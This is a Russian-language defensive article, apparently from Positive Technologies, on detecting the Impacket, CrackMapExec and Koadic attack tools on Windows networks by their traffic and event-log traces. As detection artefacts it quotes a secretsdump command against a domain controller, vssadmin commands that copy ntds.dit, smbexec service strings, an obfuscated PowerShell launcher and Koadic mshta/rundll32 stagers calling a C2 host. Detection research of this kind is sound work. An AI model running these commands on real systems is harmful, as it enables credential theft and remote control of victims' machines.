Поймать нарушителя! Учимся детектировать инструменты атак на Windows
Источник: t.me/Bureau121
Содержание статьи
Impacket
Secretsdump
Smbexec
CrackMapExec
BloodHound
Enum_avproducts
Koadic
Mimikatz
Exec_cmd
Выводы
В 2017–2018 годах группировки APT Dragonfly, APT28 и APT MuddyWater проводили атаки на правительственные и военные организации Европы, Северной Америки и Саудовской Аравии. И использовали для этого три инструмента — Impacket, CrackMapExec и Koadic.
Перечисленные средства применяются на разных стадиях атаки, которые следуют после преодоления периметра. На этих этапах детектировать малварь уже непросто. Для этого нужно либо выявлять следы компрометации в сетевом трафике, либо применять инструменты для обнаружения активных действий злоумышленника.
В Impacket, CrackMapExec и Koadic реализовано множество интересных функций — от передачи файлов до взаимодействия с реестром и выполнения команд на удаленной машине. Мы исследовали эти инструменты с целью определить их сетевую активность. Вот какие задачи мы перед собой ставили в рамках исследования.
- Понять, как работает хакерский инструментарий. Узнать, что нужно атакующим для эксплуатации и какими технологиями они могут воспользоваться.
- Найти то, что не детектируется средствами информационной безопасности на первых стадиях атаки. Стадия разведки может быть пропущена — либо потому, что атакующим выступает внутренний злоумышленник, либо потому, что атакующий пользуется такой брешью в инфраструктуре, о которой не было известно ранее. Появляется возможность восстановить всю цепочку его действий, отсюда возникает желание обнаруживать дальнейшее передвижение.
- Устранить ложные срабатывания средств обнаружения вторжений. Нельзя забывать и о том, что при обнаружении тех или иных действий на основе одной только разведки возможны частые ошибки. Существует множество способов замаскировать активность вредоносного ПО под легитимные действия.
Итак, что конкретно делают перечисленные инструменты? В случае с Impacket злоумышленники получают большую библиотеку модулей, которые можно использовать на разных стадиях атаки, следующих после преодоления периметра. Многие инструменты используют модули Impacket у себя внутри — например, Metasploit. В нем имеются утилиты dcomexec и wmiexec для удаленного выполнения команд, secretsdump для получения из памяти учетных записей, которые добавлены из Impacket. В итоге правильное обнаружение активности такой библиотеки обеспечит и обнаружение производных.
О CrackMapExec (или просто CME) создатели неслучайно написали Powered by Impacket. Помимо его функций, в CME входят средства для реализации популярных сценариев: это и BloodHound, и Mimikatz для получения паролей или их хешей, и внедрение Meterpreter либо Empire agent для удаленного исполнения.
Третий выбранный нами инструмент — Koadic. Он достаточно свеж, был представлен на DEF CON 25 в 2017 году и отличается нестандартным подходом: работой через HTTP, JavaScript и VBScript. Такой подход называют living off the land: инструмент пользуется набором зависимостей и библиотек, встроенных в Windows. Создатели называют его COM Сommand & Сontrol, или С3.
Impacket
Функциональность Impacket весьма широка, начиная от разведки внутри AD и сбора данных с внутренних серверов MS SQL и заканчивая техниками для получения учетных данных: это и атака SMB Relay, и получение с контроллера домена файла ntds.dit, содержащего хеши паролей пользователей. Также Impacket удаленно выполняет команды четырьмя разными способами: через WMI, сервис для управления планировщиком Windows, DCOM и SMB. И для этого ему нужны учетные данные.
Secretsdump
В качестве цели для модуля secretsdump могут выступать как машины пользователей, так и контроллеры домена. С его помощью можно получать копии областей памяти LSA, SAM, SECURITY, NTDS.dit, поэтому его можно увидеть на разных стадиях атаки.
Первый шаг в работе этого модуля — аутентификация через SMB, для которой необходим либо пароль пользователя, либо его хеш для автоматического проведения атаки Pass the Hash. Далее идет запрос на открытие доступа к Service Control Manager (SCM) и получение доступа к реестру по протоколу winreg, используя который атакующий может узнать данные интересующих его веток и получить результаты через SMB.
На картинке ниже мы видим, как именно при использовании протокола winreg происходит получение доступа по ключу реестра с LSA. Для этого используется команда DCERPC с opcode 15 — OpenKey
.
Открытие ключа реестра по протоколу winreg
Далее, когда доступ по ключу получен, значения сохраняются командой SaveKey
с opcode 20. Impacket делает это весьма специфично. Он сохраняет значения в файл, имя которого — это строка из восьми случайных символов с добавлением .tmp
. Кроме того, дальнейшая выгрузка этого файла происходит через SMB из директории System32
.
Схема получения ключа реестра с удаленной машины
Выходит, обнаружить такую активность в сети можно благодаря запросам к определенным веткам реестра по протоколу winreg, специфичным именам, командам и их порядку.
Также этот модуль оставляет следы в журнале событий Windows, благодаря которым он легко обнаруживается. Например, попробуй выполнить команду
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
В результате в журнале Windows Server 2016 появится следующая ключевая последовательность событий.
4624
— удаленный Logon.5145
— проверка прав доступа к удаленному сервису winreg.5145
— проверка прав доступа к файлу в директории System32. Файл имеет случайное имя по описанному выше принципу.4688
— создание процесса cmd.exe, который запускает vssadmin:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
4688
— создание процесса с командой
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
4688
— создание процесса с командой
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
4688
— создание процесса с командой
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & C:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
Как и у многих инструментов для постэксплуатации, у Impacket есть модули для удаленного выполнения команд. Мы остановимся на smbexec, который дает интерактивную командную оболочку на удаленной машине. Для этого модуля также требуется аутентификация через SMB либо паролем, либо его хешем. На скриншоте ниже ты можешь наблюдать пример работы такого инструмента, в данном случае это консоль локального администратора.
Интерактивная консоль smbexec
Первый этап smbexec после аутентификации — это открытие SCM командой OpenSCManagerW (15)
. Запрос примечателен: в нем поле MachineName
имеет значение DUMMY
.
Запрос на открытие Service Control Manager
Далее создается сервис с помощью команды CreateServiceW (12)
. В случае smbexec мы можем видеть каждый раз одинаковую логику построения команды. На скриншоте ниже зеленым цветом отмечены неизменяемые параметры команды, желтым — то, что атакующий может изменить. Нетрудно заметить, что имя исполняемого файла, его директорию и файл output изменить можно, но оставшееся поменять куда сложнее, не нарушая логику работы модуля Impacket.
Запрос на создание сервиса с помощью Service Control Manager
Smbexec также оставляет явные следы в журнале событий Windows. В журнале Windows Server 2016 для интерактивной командной оболочки с командой ipconfig
увидим следующую ключевую последовательность событий:
4697
— установка сервиса на машине жертвы:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
4688
— создание процессаcmd.exe
с аргументами из пункта 1.5145
— проверка прав доступа к файлу__output
в директорииC$
.4697
— установка сервиса на машине жертвы.
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
4688
— создание процессаcmd.exe
с аргументами из пункта 4.5145
— проверка прав доступа к файлу__output
в директорииC$
.
На Impacket основаны многие инструменты для атак. Он поддерживает почти все протоколы Windows и при этом имеет свои характерные особенности. Здесь и конкретные запросы winreg, и использование SCM API с характерным формированием команд, и формат имен файлов, и SMB share с названием SYSTEM32.
CrackMapExec
Инструмент CME призван в первую очередь автоматизировать те рутинные действия, которые атакующий выполняет для продвижения внутри сети. Он позволяет работать в связке с небезызвестными Empire agent и Meterpreter. Чтобы выполнять команды скрытно, CME может их обфусцировать. Используя BloodHound (отдельный инструмент для проведения разведки), атакующий может автоматизировать поиск активной сессии доменного администратора.
BloodHound
BloodHound как самостоятельный инструмент позволяет вести продвинутую разведку внутри сети. Он собирает данные о пользователях, машинах, группах, сессиях и поставляется в виде скрипта на PowerShell или бинарного файла.
Для сбора информации используются LDAP или протоколы на основе SMB. Интеграционный модуль CME позволяет загружать BloodHound на машину жертвы, запускать и получать собранные данные после выполнения, тем самым автоматизируя действия в системе и делая их менее заметными.
Графическая оболочка BloodHound представляет собранные данные в виде графов, что позволяет найти кратчайший путь от машины атакующего до доменного администратора.
Интерфейс BloodHound
Для запуска на машине жертвы модуль создает задачу, используя ATSVC и SMB. ATSVC — это интерфейс для работы с планировщиком задач Windows. CME использует его функцию NetrJobAdd (1)
для создания задач по сети. Пример того, что отправляет модуль CME, показан на картинке ниже: это вызов команды cmd.exe
и обфусцированный код в виде аргументов в формате XML.
Создание задачи через CME
После того как задача поступила на исполнение, машина жертвы запускает сам BloodHound, и в трафике это можно увидеть. Для модуля характерны LDAP-запросы для получения стандартных групп, списка всех машин и пользователей в домене, получение информации об активных пользовательских сессиях через запрос SRVSVC NetSessEnum
.
Получение списка активных сессий через SMB
Кроме того, запуск BloodHound на машине жертвы с включенным аудитом сопровождается событием с ID 4688
(создание процесса) и именем процесса C:\Windows\System32\cmd.exe
. Примечательны в нем аргументы командной строки:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Весьма интересен с точки зрения функциональности и реализации модуль enum_avproducts
. WMI позволяет с помощью языка запросов WQL получать данные объектов Windows, чем, по сути, и пользуется этот модуль CME. Он генерирует запросы к классам AntiSpywareProduct
и AntiМirusProduct
, собирая данные о средствах защиты, установленных на машине жертвы. Чтобы получить нужную информацию, модуль выполняет подключение к пространству имен root\SecurityCenter2
, затем формирует WQL-запрос и получает ответ. Ниже показано содержимое таких запросов и ответов. В нашем примере нашелся Windows Defender.
Сетевая активность модуля enum_avproducts
Зачастую аудит WMI (Trace WMI-Activity), в событиях которого можно найти полезную информацию о WQL-запросах, может оказаться выключенным. Но если он включен, то в случае запуска сценария enum_avproducts сохранится событие с ID 11
. В нем будет содержаться имя пользователя, который отправил запрос, и имя в пространстве имен root\SecurityCenter2
.
У каждого из модулей CME обнаружились свои артефакты. Это и специфические WQL-запросы, и создание определенного вида задачи в Task Scheduler с обфускацией, и характерная для BloodHound активность в LDAP и SMB.
Koadic
Отличительная особенность Koadic — это использование встроенных в Windows интерпретаторов JavaScript и VBScript. В этом смысле он следует тренду living off the land — то есть не имеет внешних зависимостей и пользуется стандартными средствами Windows.
Это инструмент для полноценного Command & Control (C&C), поскольку после заражения на машину устанавливается «имплант», позволяющий ее контролировать. Такая машина в терминологии Koadic называется «зомби». При нехватке привилегий для полноценной работы на стороне жертвы Koadic может их поднять, используя техники обхода контроля учетных записей (UAC bypass).
Командная оболочка Koadic
Жертва должна сама инициировать общение с сервером Command & Control. Для этого ей необходимо обратиться по заранее подготовленному URI и получить основное тело Koadic с помощью одного из стейджеров. Ниже показан пример для стейджера MSHTA.
Инициализация сессии с сервером C&C
По переменной WS
из ответа становится понятно, что исполнение происходит через WScript.Shell
, а переменные STAGER
, SESSIONKEY
, JOBKEY
, JOBKEYPATH
, EXPIRE
содержат ключевую информацию о параметрах текущей сессии. Это первая пара запрос-ответ в HTTP-соединении с сервером C&C. Последующие запросы связаны непосредственно с функциями вызываемых модулей (имплантов). Все модули Koadic работают только с активной сессией c C&C.
Mimikatz
Так же как CME работает с BloodHound, Koadic работает с Mimikatz как с отдельной программой и может запускать ее несколькими способами. Ниже представлена пара запрос-ответ для загрузки импланта Mimikatz.
Передача Mimikatz в Koadic
Можно заметить, как изменился формат URI в запросе. В нем появилось значение у переменной csrf
, которая отвечает за выбранный модуль. Не обращай внимания на ее название: все мы знаем, что под CSRF обычно понимают другое. В ответ пришло все то же основное тело Koadic, в которое добавился код, связанный с Mimikatz. Он объемный, поэтому рассмотрим ключевые моменты.
Перед нами закодированная в Base64 библиотека Mimikatz, сериализованный .NET-класс, который будет ее инжектировать, и аргументы для запуска Mimikatz. Результат выполнения передается по сети в открытом виде.
Результат выполнения Mimikatz на удаленной машине
Exec_cmd
В Koadic есть и модули, способные удаленно выполнять команды. Здесь мы увидим все тот же метод генерации URI и знакомые переменные sid
и csrf
. В случае модуля exec_cmd в тело добавляется код, который способен выполнять команды shell. Ниже показан такой код, содержащийся в HTTP-ответе C&C-сервера.
Код импланта exec_cmd
Переменная GAWTUUGCFI
со знакомым атрибутом WS
необходима для выполнения кода. С ее помощью имплант вызывает шелл, обрабатывая две ветки кода — shell.exec
с возвращением выходного потока данных и shell.run
без возращения.
Koadic — нетипичный инструмент, но имеет свои артефакты, по которым его можно найти в легитимном трафике:
- особое формирование HTTP-запросов,
- использование winHttpRequests API,
- создание объекта
WScript.Shell
через ActiveXObject, - большое исполняемое тело.
Изначальное соединение инициирует стейджер, поэтому появляется возможность обнаруживать его активность через события Windows. Для MSHTA это событие 4688
, которое говорит о создании процесса с атрибутом запуска:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
Во время выполнения Koadic можно увидеть и другие события 4688
с атрибутами, которые отлично его характеризуют:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Выводы
Злоумышленники нынче широко используют для своих нужд встроенные в Windows инструменты и механизмы. Мы видим, как популярные инструменты Koadic, CrackMapExec и Impacket, следующие принципу living off the land, все чаще встречаются в отчетах об APT. Число форков на GitHub у этих инструментов тоже растет — сейчас их уже около тысячи.
Этот тренд набирает популярность из-за его простоты: злоумышленникам не нужны сторонние инструменты, они уже есть на машинах жертв и помогают обходить средства защиты.
Мы в Positive Technologies сосредоточены на изучении сетевого взаимодействия: каждый описанный выше инструмент оставляет свои следы в сетевом трафике; подробное их исследование позволило нам научить наш продукт PT Network Attack Discovery их обнаруживать, что в итоге помогает распутать всю цепочку киберинцидентов с их участием.